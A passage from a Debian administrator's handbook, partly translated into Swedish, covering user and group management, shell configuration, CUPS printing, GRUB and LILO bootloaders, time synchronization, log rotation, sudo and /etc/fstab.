You may find yourself needing to “disable an account” (lock out a user), as a disciplinary measure, for the purposes of an investigation, or simply in the event of a prolonged or definitive absence of a user. A disabled account means the user cannot login or gain access to the machine. The account remains intact on the machine and no files or data are deleted; it is simply inaccessible. This is accomplished by using the command passwd -l user (lock). Re-enabling the account is done in similar fashion, with the -u option (unlock). This, however, only prevents password-based logins by the user. The user might still be able to access the system using an SSH key (if configured). To prevent even this possibility you have to expire the account as well using either chage -E 1user or usermod -e 1 user (giving a value of -1 in either of these commands will reset the expiration date to never). To (temporarily) disable all user accounts just create the file /etc/nologin.

You can disable a user account not only by locking it as described above, but also by changing its default login shell (chsh -s shell user). With the latter changed to /usr/sbin/nologin, a user gets a polite message informing that a login is not possible, while /bin/false just exits while returning false. There is no switch to restore the previous shell. You have to get and keep that information before you change the setting. These shells are often used for system users which do not require any login availability.

GÅ VIDARE NSS och systemdatabaser

Instead of using the usual files to manage lists of users and groups, you could use other types of databases, such as LDAP or db, by using an appropriate NSS (Name Service Switch) module. The modules used are listed in the /etc/nsswitch.conf file, under the passwd, shadow and group entries. See Avsnitt 11.7.3.1, ”Konfigurera NSS” for a specific example of the use of an NSS module by LDAP.

8.4.5. Grupplista: /etc/group

Grupper är listade i /etc/group filen, en simpel textdatabas i ett format som liknar den för /etc/passwd filen, med följande fält:

grupp namn;

password (optional): This is only used to join a group when one is not a usual member (with the newgrp or sg commands, see sidebar TILLBAKA TILL GRUNDERNAJobba med flera grupper);

gid,: unikt gruppidentifikationsnummer;

lista över medlemmar: lista över namn på användare som är medlemmar i gruppen, åtskilda med kommatecken.

TILLBAKA TILL GRUNDERNAJobba med flera grupper

Each user may be a member of many groups; one of them is their “main group”. A user's main group is, by default, created during initial user configuration. By default, each file that a user creates belongs to them, as well as to their main group. This is not always desirable; for example, when the user needs to work in a directory shared by a group other than their main group. In this case, the user needs to change their main group using one of the following commands: newgrp, which starts a new shell, or sg, which simply executes a command using the supplied alternate group. These commands also allow the user to join a group to which they do not belong. If the group is password protected, they will need to supply the appropriate password before the command is executed.

Alternatively, the user can set the setgid bit on the directory, which causes files created in that directory to automatically belong to the correct group. For more details, see sidebar SÄKERHET setgid-katalog och sticky bit.

The id command displays the current state of a user, with their personal identifier (uid variable), current main group (gid variable), and the list of groups to which they belong (groups variable).

The addgroup and delgroup commands add or delete a group, respectively. The groupmod command modifies a group's information (its gid or identifier). The command gpasswd group changes the password for the group, while the gpasswd -r group command deletes it.

TIPSgetent

The getent (get entries) command checks the system databases the standard way, using the appropriate library functions, which in turn call the NSS modules configured in the /etc/nsswitch.conf file. The command takes one or two arguments: the name of the database to check, and a possible search key. Thus, the command getent passwd rhertzog will give the information from the user database regarding the user rhertzog.

8.5. Skapa konton

One of the first actions an administrator needs to do when setting up a new machine is to create user accounts. This is typically done using the adduser command which takes a user-name for the new user to be created, as an argument.

The adduser command asks a few questions before creating the account, but its usage is fairly straightforward. Its configuration file, /etc/adduser.conf, includes all the interesting settings: it can be used to automatically set a quota for each new user by creating a user template, or to change the location of user accounts; the latter is rarely useful, but it comes in handy when you have a large number of users and want to divide their accounts over several disks, for instance. You can also choose a different default shell.

TILLBAKA TILL GRUNDEN Kvot

Termen "kvot" avser en gräns för maskinresurser som en användare får använda. Detta hänvisar ofta till diskutrymme.

The creation of an account populates the user's home directory with the contents of the /etc/skel/ template. This provides the user with a set of standard directories and configuration files.

In some cases, it will be useful to add a user to a group (other than their default “main” group) in order to grant them additional permissions. For example, a user who is included in the audio group can access audio devices (see sidebar TILLBAKA TILL GRUNDERNA Enhetsåtkomstbehörigheter). This can be achieved with a command such as adduser user group.

TILLBAKA TILL GRUNDERNA Enhetsåtkomstbehörigheter

Each hardware peripheral device is represented under Unix with a special file, usually stored in the file tree under /dev/ (DEVices). Two types of special files exist according to the nature of the device: “character mode” and “block mode” files, each mode allowing for only a limited number of operations. While character mode limits interaction with read/write operations, block mode also allows seeking within the available data. Finally, each special file is associated with two numbers (“major” and “minor”) that identify the device to the kernel in a unique manner. Such a file, created by the mknod command, simply contains a symbolic (and more human-friendly) name.

The permissions of a special file map to the permissions necessary to access the device itself. Thus, a file such as /dev/mixer, representing the audio mixer, only has read/write permissions for the root user and members of the audio group. Only these users can operate the audio mixer.

It should be noted that the combination of udev and policykit can add additional permissions to allow users physically connected to the console (and not through the network) to access to certain devices.

8.6. Skal miljö

Command interpreters (or shells) can be a user's first point of contact with the computer, and they must therefore be rather friendly. Most of them use initialization scripts that allow configuration of their behavior (automatic completion, prompt text, etc.).

bash, the standard shell, uses the /etc/bash.bashrc initialization script for “interactive” shells, and /etc/profile for “login” shells.

In simple terms, a login shell is invoked when you login to the console either locally or remotely via ssh, or when you run an explicit bash --login command. Regardless of whether it is a login shell or not, a shell can be interactive (in an xterm-type terminal for instance); or non-interactive (when executing a script).

UPPTÄCK Andra skal, andra skript

Each command interpreter has a specific syntax and its own configuration files. Thus, zsh uses the files in /etc/zsh/; tcsh uses /etc/csh.cshrc, /etc/csh.login and /etc/csh.logout. The man pages for these programs document which files they use.

For bash, it is useful to install and activate “automatic completion”. The package bash-completion contains these completions for most common programs and is usually enabled if the user's .bashrc configuration file was copied from /etc/skel/.bashrc. Otherwise it can be enabled via /etc/bash.bashrc (simply uncomment a few lines) or /etc/profile.

BACK TO BASICS Automatic completion

Many command interpreters provide a completion feature, which allows the shell to automatically complete a partially typed command name or argument when the user hits the Tab key. This lets users work more efficiently and be less error-prone.

This function is very powerful and flexible. It is possible to configure its behavior according to each command. Thus, the first argument following apt will be proposed according to the syntax of this command, even if it does not match any file (in this case, the possible choices are install, remove, upgrade, etc.).

TILLBAKA TILL GRUNDERNA tilde, en genväg till HEM

The tilde is often used to indicate the directory to which the environment variable, HOME, points (being the user's home directory, such as /home/rhertzog/). Command interpreters automatically make the substitution: ~/hello.txt becomes /home/rhertzog/hello.txt.

The tilde also allows access to another user's home directory. Thus, ~rmas/bonjour.txt is synonymous with /home/rmas/bonjour.txt.

In addition to these common scripts, each user can create their own ~/.bashrc and ~/.bash_profile to configure their shell. The most common changes are the addition of aliases; these are words that are automatically replaced with the execution of a command, which makes it faster to invoke that command. For instance, you could create the la alias for the command ls -la | less command; then you only have to type la to inspect the contents of a directory in detail. Please note that the shell needs to be reinitialized after adding an alias, e.g. by starting a new shell.

BACK TO BASICS Environment variables

Environment variables allow storage of global settings for the shell or various other programs called. They are contextual (each process has its own set of environment variables) but inheritable. This last characteristic offers the possibility for a login shell to declare variables which will be passed down to all programs it executes.

Setting default environment variables is an important element of shell configuration. Leaving aside the variables specific to a shell, it is preferable to place system wide variables in the /etc/environment file, since it is used by the various programs likely to initiate a shell session. Variables typically defined there include ORGANIZATION, which usually contains the name of the company or organization, and HTTP_PROXY, which indicates the existence and location of an HTTP proxy. Other options include to set system wide variables via scripts in /etc/profile.d, or session wide variables via .pam_environment or .profile, where the latter can override any definition contained in the first. The file /etc/default/locale is meant to contain system wide locale related environment variables.

TIPS Alla skal konfigurerade identiskt

Users often want to configure their login and interactive shells in the same way. To do this, they choose to interpret (or “source”) the content from ~/.bashrc in the ~/.bash_profile file. However, the default ~/.profile file is sourcing ~/.bashrc already and you don't need to create ~/.bash_profile for this purpose anymore, except you want to customize your shell further (see bash(1) for which files are read by bash for login shells). It is also possible to do the same with files common to all users (by calling /etc/bash.bashrc from /etc/profile, which is also done by default now).

8.7. Skrivarkonfiguration

Printer configuration used to cause a great many headaches for administrators and users alike. These headaches are now mostly a thing of the past, thanks to CUPS, the free print server using IPP, the Internet Printing Protocol.

Debian distributes CUPS divided between several packages. The heart of the system is the scheduler, cupsd, which is in the cups-daemon package. cups-client contains utility programs to interact with the server, cupsd. lpadmin is probably the most important utility, as it is crucial for setting up a printer, but there are also facilities to disable or enable a printer queue, view or delete print jobs and display or set printer options. The CUPS framework is based on the System V printing system, but there is a compatibility package, cups-bsd, allowing use of commands such as lpr, lpq and lprm from the traditional BSD printing system.

GEMENSKAPCUPS

CUPS is a project and a trademark owned and managed by Apple, Inc. Prior to its acquisition by Apple it was known as the Common Unix Printing System.

→ https://www.cups.org/

The scheduler manages print jobs and these jobs traverse a filtering system to produce a file that the printer will understand and print. The filtering system is provided by the cups-filters package in conjunction with printer-driver-* packages. CUPS in combination with these packages is the basis for the Debian printing system.

Modern printers manufactured and sold within the last ten years are nearly always AirPrint-capable, and CUPS and cups-filters on Debian Bullseye have everything which is needed to take advantage of this facility on the network. In essence, these printers are IPP printers and an excellent fit for a driverless printing system, reducing the system to CUPS plus cups-filters. A printer-driver package can be dispensed with, and non-free printing software from vendors like Canon and Brother is no longer required. A USB-connected printer can take advantage of a modern printer with the ippusbxd package.

The command apt install cups will install CUPS and the filters. It will also install the recommended printer-driver-gutenprint to provide a driver for a wide range of printers, but, unless the printer is being operated driverlessly, an alternative printer-driver might be needed for the particular device.

As a package recommended by cups-daemon, cups-browsed will be on the system and networked print queues, and modern printers can be automatically discovered and set up from their DNS-SD broadcasts (Bonjour). USB printers will have to be set up manually as described in the next paragraph.

The printing system is administered easily through a web interface accessible at the local address http://localhost:631/. Members of the lpadmin group can add and remove USB and network printers and administer most aspects of their behavior. Similar administration tasks can also be carried out via the graphical interface provided by a desktop environment or the system-config-printer graphical interface (from the homonym Debian package).

8.8. Configuring the Bootloader

It is probably already functional, but it is always good to know how to configure and install the bootloader in case it disappears from the Master Boot Record. This can occur after installation of another operating system, such as Windows. The following information can also help you to modify the bootloader configuration if needed.

TILLBAKA TILL GRUNDERNA Gemensamma startsektorn

The Master Boot Record (MBR) occupies the first 512 bytes of the first hard disk, and is the first thing loaded by the BIOS to hand over control to a program capable of booting the desired operating system. In general, a bootloader gets installed in the MBR, removing its previous content.

8.8.1. Identifying the Disks

KULTURudevoch/dev/

The /dev/ directory traditionally houses so-called “special” files, intended to represent system peripherals (see sidebar TILLBAKA TILL GRUNDERNA Enhetsåtkomstbehörigheter). Once upon a time, it used to contain all special files that could potentially be used. This approach had a number of drawbacks among which the fact that it restricted the number of devices that one could use (due to the hardcoded list of names), and that it was impossible to know which special files were actually useful.

Nowadays, the management of special files is entirely dynamic and matches better the nature of hot-swappable computer devices. The kernel cooperates with udev (Avsnitt 9.11.3, ”Hur udev fungerar”) to create and delete them as needed when the corresponding devices appear and disappear. For this reason, /dev/ doesn't need to be persistent and is thus a RAM-based filesystem that starts empty and contains only the relevant entries.

The kernel communicates lots of information about any newly added device and hands out a pair of major/minor numbers to identify it. With this udevd can create the special file under the name and with the permissions that it wants. It can also create aliases and perform additional actions (such as initialization or registration tasks). udevd's behavior is driven by a large set of (customizable) rules usually found in /lib/udev/rules.d/ and /etc/udev/rules.d/.

With dynamically assigned names, you can thus keep the same name for a given device, regardless of the connector used or the connection order, which is especially useful when you use various USB peripherals. The first partition on the first hard drive can then be called /dev/sda1 for backwards compatibility, or /dev/root-partition if you prefer, or even both at the same time since udevd can be configured to automatically create a symbolic link.

In ancient times, some kernel modules did automatically load when you tried to access the corresponding device file. This is no longer the case, and the peripheral's special file no longer exists prior to loading the module; this is no big deal, since most modules are loaded on boot thanks to automatic hardware detection. But for undetectable peripherals (such as very old disk drives or PS/2 mice), this doesn't work. Consider adding the modules, floppy, psmouse and mousedev to /etc/modules or /etc/modules-load.d/ in order to force loading them on boot.

Configuration of the bootloader must identify the different hard drives and their partitions. Linux uses “block” special files stored in the /dev/ directory, for this purpose. Since Debian Squeeze, the naming scheme for hard drives has been unified by the Linux kernel, and all hard drives (IDE/PATA, SATA, SCSI, USB, IEEE 1394) are now represented by /dev/sd*.

Each partition is represented by its number on the disk on which it resides: for instance, /dev/sda1 is the first partition on the first disk, and /dev/sdb3 is the third partition on the second disk.

The PC architecture (or “i386”, including its younger cousin “amd64”) has long been limited to using the “MS-DOS” partition table format, which only allows four “primary” partitions per disk. To go beyond this limitation under this scheme, one of them has to be created as an “extended” partition, and it can then contain additional “secondary” partitions. These secondary partitions are numbered from 5. Thus the first secondary partition could be /dev/sda5, followed by /dev/sda6, etc.

Another restriction of the MS-DOS partition table format is that it only allows disks up to 2 TiB in size, which is becoming a real problem with recent disks.

A new partition table format called GPT (GUID Partition Table) loosens these constraints on the number of partitions (it allows up to 128 partitions when using standard settings) and on the size of the disks (up to 8 ZiB, which is more than 8 billion terabytes). If you intend to create many physical partitions on the same disk, you should therefore ensure that you are creating the partition table in the GPT format when partitioning your disk.

QUICK LOOK The Globally Unique Identifier (GUID)

Using GPT the partition type is represented as a 16 bytes long universally unique identifier, also known as Globally Unique Identifier (GUID), which is part of the UEFI standard (see NOTERA UEFI, en modern ersättare för BIOS). Compared to the hex code used to determine the partition type in the MS-DOS table format, you will have a hard time trying to remember these identifiers. Fortunately there are lists with all the IDs which you can use to create partition recipes to use with sfdisk or for preseeding the Debian installer.

→ https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs

It is not always easy to remember what disk is connected to which SATA controller, or in third position in the SCSI chain, especially since the naming of hotplugged hard drives (which includes among others most SATA disks and external disks) can change from one boot to another. Fortunately, udev creates, in addition to /dev/sd*, symbolic links with a fixed name, which you could then use if you wished to identify a hard drive in a non-ambiguous manner. These symbolic links are stored in /dev/disk/by-id/. On a machine with two physical disks, for example, one could find the following:

mirexpress:/dev/disk/by-id# ls -l total 0 lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 -> ../../sdb lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part1 -> ../../sdb1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part2 -> ../../sdb2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 -> ../../sda1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 -> ../../sda2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 -> ../../sdb lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part1 -> ../../sdb1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part2 -> ../../sdb2 [...] lrwxrwxrwx 1 root root 9 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 -> ../../sdc lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 -> ../../sdc1 lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 -> ../../sdc2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 wwn-0x5000c50015c4842f -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1 [...] mirexpress:/dev/disk/by-id#

Note that some disks are listed several times (because they behave simultaneously as ATA disks and SCSI disks), but the relevant information is mainly in the model and serial numbers of the disks, from which you can find the peripheral file. While the links in /dev/disk/by-id/ are created using the device' serial number and physical path, there are more convenience links in e.g. /dev/disk/by-label/ (based on given labels), /dev/disk/by-uuid/ (based on unique identifiers, which can change when reformatting a device using mkfs.* or mkswap), /dev/disk/by-path/ (based on shortest physical path), and /dev/disk/by-partlabel/ and /dev/disk/by-partuuid/ (only partitions with GPT labels and their unique identifiers). If you use these links, e.g. in /etc/fstab, always prefer unique identifiers over labels. You can also obtain and change this information for each partition or device using the lsblk and blkid commands.

The example configuration files given in the following sections are based on the same setup: a single SATA disk, where the first partition is an old Windows installation and the second contains Debian GNU/Linux.

ALTERNATIVE The LILO bootloader

LILO (LInux LOader) is the oldest bootloader — solid but rustic. It writes the physical address of the kernel to boot on the MBR, which is why each update to LILO (or its configuration file) must be followed by the command lilo. Forgetting to do so will render a system unable to boot if the old kernel was removed or replaced as the new one will not be in the same location on the disk.

LILO's konfigurations fil är /etc/lilo.conf; en simpel fil för standardkonfiguration illustreras i exemplet nedan.

Exempel 8.4. LILO konfigurationsfil

# The disk on which LILO should be installed. # By indicating the disk and not a partition. # you order LILO to be installed on the MBR. boot=/dev/sda # the partition that contains Debian root=/dev/sda2 # the item to be loaded by default default=Linux # the most recent kernel image image=/vmlinuz label=Linux initrd=/initrd.img read-only # Old kernel (if the newly installed kernel doesn't boot) image=/vmlinuz.old label=LinuxOLD initrd=/initrd.img.old read-only optional # only for Linux/Windows dual boot other=/dev/sda1 label=Windows

As per request of the maintainer and upstream author of lilo, the bootloader has been removed from Debian 11 Bullseye and it is unlikely to make a comeback.

8.8.2. GRUB 2 Konfiguration

GRUB (GRand Unified Bootloader) is more recent. It is not necessary to invoke it after each update of the kernel; GRUB knows how to read the filesystems and find the position of the kernel on the disk by itself. To install it on the MBR of the first disk, simply type grub-install /dev/sda. This will overwrite the MBR, so be careful not to overwrite the wrong location. While it is also possible to install GRUB into a partition boot record, beware that it is usually a mistake and doing grub-install /dev/sda1 has not the same meaning as grub-install /dev/sda.

NOTERA Disk namn för GRUB

GRUB can only identify hard drives based on information provided by the BIOS. (hd0) corresponds to the first disk thus detected, (hd1) the second, etc. In most cases, this order corresponds exactly to the usual order of disks under Linux, but problems can occur when you associate SCSI and IDE disks. GRUB used to store the correspondences that it detected in the file /boot/grub/device.map. Nowadays it avoids this problem using universally unique identifier (UUIDs) or file system labels when generating grub.cfg. However, the device map file is not obsolete yet, since it can be used to override when the current environment is different from the one on boot. If you find errors there (because you know that your BIOS detects drives in a different order), correct them manually and run grub-install again. grub-mkdevicemap can help creating a device.map file from which to start.

Partitioner har också ett specifikt namn i GRUB. När du använder "klassiska" partitioner i MS-DOS-format märks den första partitionen på den första disken, (hd0,msdos1, den andra (hd0,msdos2, tex.

GRUB 2 configuration is stored in /boot/grub/grub.cfg, but this file (in Debian) is generated from others. Be careful not to modify it by hand, since such local modifications will be lost the next time update-grub is run (which may occur upon update of various packages). The most common modifications of the /boot/grub/grub.cfg file (to add command line parameters to the kernel or change the duration that the menu is displayed, for example) are made through the variables in /etc/default/grub. To add entries to the menu, you can either create a /boot/grub/custom.cfg file or modify the /etc/grub.d/40_custom file. For more complex configurations, you can modify other files in /etc/grub.d, or add to them; these scripts should return configuration snippets, possibly by making use of external programs. These scripts are the ones that will update the list of kernels to boot: 10_linux takes into consideration the installed Linux kernels; 20_linux_xen takes into account Xen virtual systems, and 30_os-prober adds other existing operating systems (Windows, OS X, Hurd), kernel images, and BIOS/EFI access options to the menu.

CAUTION error: symbol `grub_*' not found

One of the most often reported issues when using GRUB is that users get an error like error symbol `grub_calloc' not found and they are unable to boot the system anymore. Most of the time this error is caused by installing an updated version of GRUB that causes new modules in /boot/grub to be incompatible with old core images in the boot sector that your firmware jumps to when booting your machine. This happens on systems that are configured to run grub-install to a target device that is not actually the one that the firmware uses to boot your system (e.g. after replacing disks or moving them around - one can see the issue when running dpkg-reconfigure grub-pc showing the wrong target device). With the release of Debian 11 Bullseye (the change was also populated to Buster) the update process now checks for this issue and exits with an error in case it finds such a constellation.

→ https://bugs.debian.org/bug=966575#95

Setting up grub-pc (2.02+dfsg1-20+deb10u4) ... /dev/disk/by-id/[..] does not exist, so cannot grub-install to it! You must correct your GRUB install devices before proceeding: DEBIAN_FRONTEND=dialog dpkg --configure grub-pc dpkg --configure -a dpkg: error processing package grub-pc (--configure): installed grub-pc package post-installation script subprocess returned error exit status 1

To fix the issue and continue the upgrade procedure, just follow the advice and run the commands given by the error message as root.

8.8.3. Using GRUB with EFI and Secure Boot

Using GRUB to boot either a traditional BIOS system (legacy or UEFI-CSM) or a UEFI system is quite different. Fortunately the user doesn't need to know the differences because Debian provides different packages for each purpose and the installer automatically cares about which one(s) to choose. The grub-pc package is chosen for legacy systems, where GRUB is installed into the MBR, while UEFI systems require grub-efi-arch, where GRUB is installed into the EFI System Partition (ESP). The latter requires a GTP partition table as well as an EFI partition.

→ https://wiki.debian.org/Grub2#UEFI_vs_BIOS_boot

To switch an existing system (supporting UEFI) from legacy to UEFI boot mode not only requires to switch the GRUB packages on the system, but also to adjust the partition table and the to create an EFI partition (probably including resizing existing partitions to create the necessary free space). It is therefore quite an elaborate process and we cannot cover it here. Fortunately, there are some manuals by bloggers describing the necessary procedures.

If you are using a system with “Secure Boot“ enabled and have installed shim-signed (see sidebar UPPLYSNING Säker Uppstart och uppstartsladdare med mellanlägg), you must also install grub-efi-arch-signed. This package is not pulled in automatically, only if the installation of recommended package has been enabled.

8.9. Other Configurations: Time Synchronization, Logs, Sharing Access…

The many elements listed in this section are good to know for anyone who wants to master all aspects of configuration of the GNU/Linux system. They are, however, treated briefly and frequently refer to the documentation.

8.9.1. Tidszon

TILLBAKA TILL GRUNDERNA Symboliska länkar

A symbolic link is a pointer to another file. When you access it, the file to which it points is opened. Removal of the link will not cause deletion of the file to which it points. Likewise, it does not have its own set of permissions, but rather retains the permissions of its target. Finally, it can point to any type of file: directories, special files (sockets, named pipes, device files, etc.), even other symbolic links.

The ln -s target link-name command creates a symbolic link, named link-name, pointing to target.

If the target does not exist, then the link is “broken” and accessing it will result in an error indicating that the target file does not exist. If the link points to another link, you will have a “chain” of links that turns into a “cycle” if one of the targets points to one of its predecessors. In this case, accessing one of the links in the cycle will result in a specific error (“too many levels of symbolic links”); this means the kernel gave up after several rounds of the cycle.

The timezone, configured during initial installation, is a configuration item for the tzdata package. To modify it, use the dpkg-reconfigure tzdata command, which allows you to choose the timezone to be used in an interactive manner. Its configuration is stored in the /etc/timezone file. Additionally, /etc/localtime becomes a symbolic link to the corresponding file in the /usr/share/zoneinfo; the file that contains the rules governing the dates where daylight saving time (DST) is active, for countries that use it.

When you need to temporarily change the timezone, use the TZ environment variable, which takes priority over the configured system default:

$ date Thu Sep 2 22:29:48 CEST 2021 $ TZ="Pacific/Honolulu" date Thu 02 Sep 2021 10:31:01 AM HST

NOTERA Systemklocka, hårdvaruklocka

There are two time sources in a computer. A computer's motherboard has a hardware clock, called the “CMOS clock”. This clock is not very precise, and provides rather slow access times. The operating system kernel has its own, the software clock, which it keeps up to date with its own means (possibly with the help of time servers, see Avsnitt 8.9.2, ”Synkronisering av tid”). This system clock is generally more accurate, especially since it doesn't need access to hardware variables. However, since it only exists in live memory, it is zeroed out every time the machine is booted, contrary to the CMOS clock, which has a battery and therefore “survives” rebooting or halting of the machine. The system clock is, thus, set from the CMOS clock during boot, and the CMOS clock is updated on shutdown (to take into account possible changes or corrections if it has been improperly adjusted).

In practice, there is a problem, since the CMOS clock is nothing more than a counter and contains no information regarding the time zone. There is a choice to make regarding its interpretation: either the system considers it runs in universal time (UTC, formerly GMT), or in local time. This choice could be a simple shift, but things are actually more complicated: as a result of daylight saving time, this offset is not constant. The result is that the system has no way to determine whether the offset is correct, especially around periods of time change. Since it is always possible to reconstruct local time from universal time and the timezone information, we strongly recommend using the CMOS clock in universal time.

Unfortunately, some Windows systems in their default configuration ignore this recommendation; they keep the CMOS clock on local time, applying time changes when booting the computer by trying to guess during time changes if the change has already been applied or not. This works relatively well, as long as the system has only Windows running on it. But when a computer has several systems (whether it be a “dual-boot” configuration or running other systems via virtual machine), chaos ensues, with no means to determine if the time is correct. If you absolutely must retain Windows on a computer, you should either configure it to keep the CMOS clock as UTC (setting the registry key HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation\RealTimeIsUniversal to “1” as a DWORD), or use hwclock --localtime --set on the Debian system to set the hardware clock and mark it as tracking the local time (and make sure to manually check your clock in spring and autumn).

8.9.2. Synkronisering av tid

Time synchronization, which may seem superfluous on a computer, is very important on a network. Since users do not have permissions allowing them to modify the date and time, it is important for this information to be precise to prevent confusion. Furthermore, having all of the computers on a network synchronized allows better cross-referencing of information from logs on different machines. Thus, in the event of an attack, it is easier to reconstruct the chronological sequence of actions on the various machines involved in the compromise. Data collected on several machines for statistical purposes won't make a great deal of sense if they are not synchronized.

TILLBAKA TILL GRUNDERNA NTP

NTP (Network Time Protocol) allows a machine to synchronize with others fairly accurately, taking into consideration the delays induced by the transfer of information over the network and other possible offsets.

While there are numerous NTP servers on the Internet, the more popular ones may be overloaded. This is why we recommend using the pool.ntp.org NTP server, which is, in reality, a group of machines that have agreed to serve as public NTP servers. You could even limit use to a sub-group specific to a country, with, for example, us.pool.ntp.org for the United States, or ca.pool.ntp.org for Canada, etc.

However, if you manage a large network, it is recommended that you install your own NTP server, which will synchronize with the public servers. In this case, all the other machines on your network can use your internal NTP server instead of increasing the load on the public servers. You will also increase homogeneity with your clocks, since all the machines will be synchronized on the same source, and this source is very close in terms of network transfer times.

8.9.2.1. För Arbetsstationer

Since work stations are regularly rebooted (even if only to save energy), synchronizing them by NTP at boot is enough. To do so, simply install the ntpdate package. You can change the NTP server used if needed by modifying the /etc/default/ntpdate file.

8.9.2.2. För Servrar

Servers are only rarely rebooted, and it is very important for their system time to be correct. To permanently maintain correct time, you would install a local NTP server, a service offered in the ntp package. In its default configuration, the server will synchronize with pool.ntp.org and provide time in response to requests coming from the local network. You can configure it by editing the /etc/ntp.conf file, the most significant alteration being the NTP server to which it refers. If the network has a lot of servers, it may be interesting to have one local time server which synchronizes with the public servers and is used as a time source by the other servers of the network.

GÅ VIDAREGPS moduler och andra tidskällor

If time synchronization is particularly crucial to your network, it is possible to equip a server with a GPS module (which will use the time from GPS satellites) or a DCF-77 module (which will sync time with the atomic clock near Frankfurt, Germany). In this case, the configuration of the NTP server is a little more complicated, and prior consultation of the documentation is an absolute necessity.

8.9.3. Rotera loggfiler

Log files can grow, fast, and it is necessary to archive them. The most common scheme is a rotating archive: the log file is regularly archived, and only the latest X archives are retained. logrotate, the program responsible for these rotations, follows directives given in the /etc/logrotate.conf file and all of the files in the /etc/logrotate.d/ directory. The administrator may modify these files, if they wish to adapt the log rotation policy defined by Debian. The logrotate(1) man page describes all of the options available in these configuration files. You may want to increase the number of files retained in log rotation, or move the log files to a specific directory dedicated to archiving them rather than delete them. You could also send them by e-mail to archive them elsewhere.

The logrotate program is executed daily by the cron scheduling program (described in Avsnitt 9.7, ”Schemalägga uppgifter med cron and atd”).

8.9.4. Dela administratörsrättigheter

Frequently, several administrators work on the same network. Sharing the root passwords is not very elegant, and opens the door for abuse due to the anonymity such sharing creates. The solution to this problem is the sudo program, which allows certain users to execute certain commands with special rights. In the most common use case, sudo allows a trusted user to execute any command as root. To do so, the user simply executes sudo command and authenticates using their personal password.

When installed, the sudo package gives full root rights to members of the sudo Unix group. To delegate other rights, the administrator can use the visudo command, which allows them to modify the /etc/sudoers configuration file (here again, this will invoke the vi editor, or any other editor indicated in the EDITOR environment variable). Alternatively they might put rules in small files in /etc/sudoers.d/ as long as this directory is included by /etc/sudoers via @includedir /etc/sudoers.d, which is the default for Debian. Adding a line with username ALL=(ALL) ALL allows the user in question to execute any command as root.

More sophisticated configurations allow authorization of only specific commands to specific users. All the details of the various possibilities are given in the sudoers(5) manual page.

8.9.5. Lista över monteringspunkter

TILLBAKA TILL GRUNDEN Montera och avmontera

In a Unix-like system such as Debian, files are organized in a single tree-like hierarchy of directories. The / directory is called the “root directory”; all additional directories are sub-directories within this root. “Mounting” is the action of including the content of a peripheral device (often a hard drive) into the system's general file tree. As a consequence, if you use a separate hard drive to store users' personal data, this disk will have to be “mounted” in the /home/ directory (during installation you already made relevant choices, see Avsnitt 4.2.13.1, ”Guidad partitionering”) The root filesystem is always mounted at boot by the kernel; other devices are often mounted later during the startup sequence or manually with the mount command.

Some removable devices are automatically mounted when connected, especially when using the GNOME, Plasma or other graphical desktop environments. Others have to be mounted manually by the user. Likewise, they must be unmounted (removed from the file tree). Normal users do not usually have permission to execute the mount and umount commands. The administrator can, however, authorize these operations (independently for each mount point) by including the user option in the /etc/fstab file.

The mount command can be used without arguments to list all mounted filesystems (as found in /proc/mounts as well); you can execute findmnt --fstab to show only the filesystems from /etc/fstab. The following parameters are required to mount or unmount a device - for the complete list, please refer to the corresponding man pages, mount(8) and umount(8). For simple cases, the syntax is simple too: for example, to mount the /dev/sdc1 partition, which has an ext3 filesystem, into the /mnt/tmp/ directory, you would simply run mount -t ext3 /dev/sdc1 /mnt/tmp/.

The /etc/fstab file gives a list of all possible mounts that happen either automatically on boot or manually for removable storage devices. Each mount point is described by a line with several space-separated fields:

file system: this indicates where the filesystem to be mounted can be found, it can be a local device (hard drive partition, CD-ROM) or a remote filesystem (such as NFS or even SSHFS).

This field is frequently replaced with the unique ID of the filesystem (which you can determine with blkid device) prefixed with UUID=. This guards against a change in the name of the device in the event of addition or removal of disks, or if disks are detected in a different order. Avsnitt 8.8.1, ”Identifying the Disks” covers this topic in more detail.

monteringspunkt: det här är platsen är i det lokala filsystemet där enheten, fjärrsystemet eller partitionen kommer att monteras.

typ: det här fältet definierar filsystemet som används på den monterade enheten. ext4,ext3,vfat,ntfs,btrfs,xfs är några få exempel.

TILLBAKA TILL GRUNDENNFS, ett nätverksfilsystem

NFS är ett nätverksfilsystem; under Linux tillåter det transparent åtkomst till fjärrfiler genom att inkludera dem i det lokala filsystemet.

